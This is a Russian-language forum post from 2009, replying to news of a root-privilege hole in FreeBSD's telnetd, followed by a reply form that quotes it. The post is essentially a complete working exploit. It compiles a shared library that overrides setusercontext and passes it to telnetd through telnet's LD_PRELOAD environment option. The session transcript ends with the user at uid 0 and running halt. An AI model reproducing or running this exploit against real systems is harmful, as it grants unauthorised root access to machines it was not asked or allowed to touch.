Исходное сообщение
"Получение root привилегий через telnetd демон во FreeBSD (опубликован патч)" Отправлено Гость, 17-Фев-09 10:08
Кому интересно... %id uid=1001(test) gid=1001(test) groups=1001(test) %cd /tmp %cat >test.c #include <sys/types.h> #include <login_cap.h> #include <stdio.h>    int setusercontext(login_cap_t *lc, const struct passwd *pwd, uid_t uid,         unsigned int flags) {         printf("Xa-xa!\n");         return (0); } %cc -c -o test.so -fPIC test.c %cc -shared -o libtest.so.0.0 test.so %telnet telnet> aut dis sra telnet> env def LD_PRELOAD /tmp/libtest.so.0.0 telnet> ope localhost Trying 127.0.0.1...   Connected to localhost. Escape character is '^]'. FreeBSD/i386 (shit.home.lan) (ttyp3) Password: Xa-xa!   Last login: Tue Feb 17 12:51:07 from form.win.alveis. Xa-xa! Copyright (c) 1992-2009 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994         The Regents of the University of California. All rights reserved. FreeBSD 7.1-RELEASE (GENERIC) #0: Thu Jan  1 14:37:25 UTC 2009 Welcome to FreeBSD! %id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) %halt Connection closed by foreign host.

Ваше сообщение
Имя*:
EMail:	Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email). Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:	> Кому интересно... > %id > uid=1001(test) gid=1001(test) groups=1001(test) > %cd /tmp > %cat >test.c > #include <sys/types.h> > #include <login_cap.h> > #include <stdio.h> > int > setusercontext(login_cap_t *lc, const struct passwd *pwd, uid_t uid, > unsigned int flags) > { > printf("Xa-xa!\n"); > return (0); > } > %cc -c -o test.so -fPIC test.c > %cc -shared -o libtest.so.0.0 test.so > %telnet > telnet> aut dis sra > telnet> env def LD_PRELOAD /tmp/libtest.so.0.0 > telnet> ope localhost > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > FreeBSD/i386 (shit.home.lan) (ttyp3) > Password: > Xa-xa! > Last login: Tue Feb 17 12:51:07 from form.win.alveis. > Xa-xa! > Copyright (c) 1992-2009 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the > University of California. All rights reserved. > FreeBSD 7.1-RELEASE (GENERIC) #0: Thu Jan 1 14:37:25 UTC 2009 > Welcome to FreeBSD! > %id > uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) > %halt > Connection closed by foreign host.
	Введите код, изображенный на картинке: